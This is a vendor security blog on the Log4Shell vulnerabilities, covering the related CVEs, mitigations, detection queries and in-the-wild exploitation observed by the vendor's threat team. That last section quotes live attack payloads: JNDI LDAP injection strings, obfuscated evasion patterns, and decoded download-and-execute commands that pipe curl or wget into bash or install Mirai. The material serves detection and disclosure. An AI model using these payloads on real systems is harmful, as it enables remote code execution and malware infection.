This article was co-written by Sanara Marsh, Dale McKay, Chad Skipper, and Stefano Ortolani.
VMware Security Update on Investigating CVE-2021-44228 Log4Shell Vulnerability
An initial zero-day vulnerability (CVE-2021-44228), publicly released on 9 December 2021, and known as Log4j or Log4Shell, is actively being targeted in the wild. CVE-2021-44228 was assigned the highest “Critical” severity rating, a maximum risk score of 10. On Tuesday, December 14th, new guidance was issued and a new CVE-2021-45046. Originally scored with a CVSS of 3.7, CVE 2021-45046 was upgrade to a CVSS score of 9.0 on December 17th. On December 18, a third CVE (CVE 2021-45105), was issued with a CVSS score of 7.5. This CVE details with a DOS (Denial of Service) vulnerability in all versions of 2.X log4j, including 2.16.0. The new guidance from Apache.org states that upgrading to Log4j version 2.16.0 is insufficient and is vulnerable to this DOS vulnerability in certain scenarios. Upgrading to 2.17.0 is the preferred remedy per Apache.orghe.org.
VMware’s Threat Analysis Unit has observed indicators of active exploitation attempts and continues to monitor and evaluate adversary activities. For further information refer to the section “Observations by VMware Threat Analysis Unit” below.
This blog is intended to detail how VMware Security can help secure your environment. For information on product specific impacts refer to VMware Security Advisories.
What is the Log4Shell Vulnerability?
Exploitation of the Log4Shell vulnerability, residing in the Java Naming and Directory Interface (JNDI), is triggered when a received log message specifies a formatting string “${}”. This string causes a lookup function to be invoked and instructed to retrieve and execute a file from a remote location.
This vulnerability specifically targets remote locations accessed via the Lightweight Directory Access Protocol (LDAP). While LDAP was the initial target, other file locations are possible. This capability is an officially supported structure within Java to retrieve remote data that is anticipated to be on a local network but was found to also support Internet-based remote hosts.
The Denial of Service referenced by CVE-2021-45105 states that (quoting from Apache.org) “Apache Log4j2 versions 2.0-alpha1 through 2.16.0 did not protect from uncontrolled recursion from self-referential lookups. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process. This is also known as a DOS (Denial of Service) attack”
The vulnerabilities impact Apache Log4j versions 2.16.0 and below. Updating to Log4j version 2.17.0 is the only direct route to mitigate this vulnerability as it disables access to JNDI by default.
Note that previous mitigations involving configuration such as setting the system property log4j2.noFormatMsgLookup to true do NOT mitigate this vulnerability
Examples of this vulnerability have been released on GitHub.
Why is Log4Shell a Critical Vulnerability?
The exploit is simple; the Log4Shell vulnerability when triggered can download malicious scripts and perform remote code execution. Exploitation of this vulnerability can allow for full control of the targeted system. This vulnerability is exploitable with or without authentication, thus increasing the overall severity, scale, and impact potential, hence the unusually high CVSS score.
In the wild, we have seen this attack used to download and launch cryptomining tools, as well as ransomware and many other malicious payloads.
How can you protect your organization?
It is imperative to follow general best practices when it comes to security hygiene to minimize your overall risk.
- Patch your Environment; if and when possible, the best course of action is to remove the possibility of a breach. Patching is always the preferred way to do that, because it eliminates the vulnerability, but for severe situations such as this a workaround may be worth the effort.
- Apply outbound micro-segmentation rules to prohibit new connections from being established out from your workloads.
- Scan your environment and code bases for vulnerable systems and code bases employing Log4Shell.
- Monitor your Workloads for Abnormal Traffic Flow; Look for new, established, and persistent connections as attackers will frequently call home or establish reverse shells. When possible, deploy deep packet inspection tools to monitor for odd traffic patterns to or from the impacted systems. Look for port or protocol mismatches.
- Review your Log Files; Monitor for unauthorized configuration changes. On systems where odd or abnormal traffic has been identified, it is advisable to search for variations of the exploit command phrase “${jndi:”, which precedes the attackers Internet address. If this string is identified, it is advisable to fully investigate the system and remove from the network where possible. VMware TAU has also found evasive patterns in log files as follows: “${::–j}${::–n}${::–d}${::–i}:${::–l}${::–d}${::–a}${::-p}”
Observations by VMware Threat Analysis Unit
Web requests are, by default, logged by NSX Network Detection and Response and provide valuable data that can be exercised for threat hunting purposes even before a signature is deployed. The payloads VMware’s Threat Analysis Unit have been observing are either tailored for discovery or infection; Figure 1 shows the number of attempts recorded since the first proof of concept of the exploit has been made available.
Figure 1: Exploit attempts across NSX NDR customers.
The source of the data are web requests from VMware’s research NSX Network Detection and Response sensors. Customers can utilize this same query within the Kibana interface:
path:*jndi* OR user_agent:*jndi* OR hostname:*jndi*
Observed discovery checks send a crafted request that trigger the target to ping back a third host; one malicious web request, for example, had both “path” and “user_agent” set to exploit the vulnerability in the following way:
path: /?test=$%7Bjndi:ldap://c6ps4tv28ufsri0k88pgcg4y48yyyhao1.interact.sh/a%7D
user_agent: Mozilla ${jndi:ldap://c6ps4tv28ufsri0k88pgcg4y48yyyhao1.interact.sh/a}
The intended effect was for the contacted host to resolve and contact interact.sh, a solution used for out of band extractions (https://github.com/projectdiscovery/interactsh), and often employed as part of pen-testing engagements.
Other common discovery checks encoded within the user agent a ping back to bingsearchlib[.com, a domain registered as recently as 2021-12-10, and using the name of the Microsoft-developed search engine as a disguise.
user_agent: ${jndi:ldap://062957384aef.bingsearchlib.com:39356/a}
A third even more interesting discovery check achieved RCE (remote command execution) by forcing the host to connect to 45.155.205[.233, and download the logic required to execute the provided base64-encoded payload:
user_agent: ${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC9YWC5YWC5YWC5YWDo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC9YWC5YWC5YWC5YWDo4MCl8YmFzaA}
Once decoded, the payload uses either “curl” or “wget” to fetch from 45.155.205[.]233 a resource named after the target host IP and port.
(curl -s 45.155.205[.]233:5874/<REDACTED_IP:PORT>||wget -q -O- 45.155.205[.]233:5874/<REDACTED_IP:PORT>)|bash
Since all accessed resources are usually logged, the convenient side-effect is that the web server running on the attacker host (45.155.205[.]233:5874) ends up having a record of all vulnerable hosts.
As for actual infection attempts, one of the observed attempts tried to infect the host with Mirai; the command was again base64-encoded, and the overall exploit included as part of the user agent:
user_agent:${jndi:ldap://45.137.21[.]9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}
Once decoded, the command would eventually download and execute a script from 62.210.130[.]250 and infect the host with Mirai (https://www.virustotal.com/gui/file/776c341504769aa67af7efc5acc66c338dab5684a8579134d3f23165c7abcc00):
wget http://62.210.130[.]250/lh.sh;chmod +x lh.sh;./lh.sh
How can VMware security products help?
- If a vulnerable version of the Log4J library is identified, Carbon Black Endpoint Standard will raise an Observed alert. Flagging a vulnerable library – alone – is not cause for alarm. If additional post-exploitation behaviors are observed the alert will be escalated to a higher threat level and Endpoint Standard will take action accordingly. Proactive investigation can be performed through investigation across your enterprise data. For queries refer to this post-exploitation blog.
- Carbon Black Enterprise EDR threat intelligence feeds contain IOC’s to alert on post-exploitation activity and will continue to be updated as more information is understood. Proactive investigation can be performed through investigation across your enterprise data. For queries refer to this post-exploitation blog.
- Carbon Black Container has the ability to prevent containers with vulnerabilities from being deployed into production. The vulnerability Dashboard shows all images and workloads affected by the vulnerability CVE-2021-44228, and the new CVE-2021-45046. If you have not created firewall rules “inside” your Kubernetes cluster, you can leverage the Network Map provided by VMware Carbon Black to create micro segmentation rules, for example using NSX and Antrea.
- NSX Distributed IDS/IPS and NSX Network Detection and Response signatures have been released to detect Log4J exploit attempts, including obfuscation methods seen in the wild. These signatures will detect and prevent against attempts of exploiting vulnerabilities regardless of origination. Steps to enable protection for detecting and preventing CVE-2021-44228 are found in the following NSX Distributed IDS/IPS (87156) knowledge base article.
- To reduce the chances of post exploitation and lateral movement, it is critical to consider segmentation or micro segmentation of your assets. NSX Distributed Firewall combined with NSX Intelligence’s automated policy formulation can help reduce the attack surface by making sure that only the right application components are communicating within the network.
- NSX’s Network Traffic Analytics component (NTA) has the capability to identify anomalies associated with post exploitation activity like unusual connections, connection between a compromised server and the external C&C endpoint and reverse shells.
- NSX Advanced Load Balancer (Avi) can help protect from Log4Shell exploit attempts using the NSX Advanced Load Balancer Web Application Firewall and block known malicious IPs via IP Reputation. Steps to enable protection are found in the following Avi WAF and CVE-2021-44228 Apache Log4j (87100) knowledge base article.
- VMware Tanzu Service Mesh can help protect modern cloud-native applications from Log4Shell exploit attempts using its advanced application and API Security capabilities (including a distributed WAF engine). Tanzu Service Mesh combines a positive security model that only allows external access to sanctioned external services with a negative security model that scans all incoming API requests and denies any API requests that are detected to be malicious. This dual-approach provides comprehensive security for ingress as well as all internal/east-west traffic between the micro-services in a distributed multi-cloud application environment to better protect or in some case quickly configure the security policies to block application layer malicious zero-day attacks such as Log4j once detected.
Remain Up-to-date on Log4Shell VMware News
To remain up-to-date on all mitigations and workarounds related to VMware refer to Security Advisories. VMware Security Advisories.
Follow all Carbon Black threat research on the Log4Shell vulnerability in the User Exchange.
For deeper analysis of the Log4Shell exploitation, please read these observations by VMware TAU – Log in the Shell: An Analysis of Log4Shell Exploitation
